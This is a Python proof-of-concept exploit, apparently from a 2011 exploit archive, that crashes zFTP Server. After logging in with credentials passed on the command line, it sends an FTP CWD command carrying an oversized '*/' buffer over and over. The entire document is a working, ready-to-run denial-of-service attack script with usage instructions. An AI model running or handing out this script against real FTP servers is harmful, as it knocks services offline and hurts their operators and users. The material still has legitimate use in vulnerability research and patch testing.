zFTPServer – ‘cwd/stat’ Remote Denial of Service
#!/usr/bin/python # Exploit Title: zFTP Server "cwd" Remote Denial-of-Service # Date: 2011-10-24 # Author: Myo Soe < YGN Ethical Hacker Group, Myanmar - http://yehg.net/ > # Version: 2011-04-13 08:59 # Tested on: Windows XP, 2K3 import socket import sys import time author = '(c) Myo Soe < YGN Ethical Hacker Group, Myanmar - http://yehg.net/ >' # server server = 'zFTP Server version 2011-04-13 08:59' title = ' "cwd" Remote Denial-of-Service Proof-of-Concept' # payload buffer= '*/' * 20000 cmd = "CWD" payload = cmd + ' ' + buffer pre_msg = 'Sending STAT DoS ... This may take a while ' post_msg = 'Job Done!' def trigger(host, port, user, passw): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(15) try: sock.connect((host, port)) except: sys.stderr.write(now() + 'ERROR: Cannot Connect to '+ host + ':' + str(port) + '\r\n') sys.exit(1) r=sock.recv(1024) sock.send("USER " + user + "\r\n") r=sock.recv(1024) sock.send("PASS " + passw + "\r\n") r=sock.recv(1024) if 'Login not accepted' in r: sys.stderr.write(now() + 'ERROR: Incorrect username or password') sys.exit(1) print now(), pre_msg, '\r\n' try: for i in range(1,10): print "#",i sock.send(payload + "\r\n") time.sleep(5) except Exception, err: if 'Connection reset by peer' in str(err): print '\r\n',now(), server, ' has crashed' else: sys.stderr.write('\r\n' + now() + 'ERROR: %s\r\n' % str(err) + '\r\nWait a few seconds to see the server crashed\r\n') sock.close() print '\r\n',now(),post_msg def now(): return time.strftime("[%Y-%m-%d %X] ") def banner(): print "\r\n",server,title,"\r\n",author,"\r\n\r\n" def help(): print "Usage: poc.py IP username password" def main(): banner() if len(sys.argv) <> 4: help() sys.exit(1) else: host = sys.argv[1] user = sys.argv[2] passw = sys.argv[3] trigger(host,21,user,passw) sys.exit(0) if __name__ == '__main__': main() |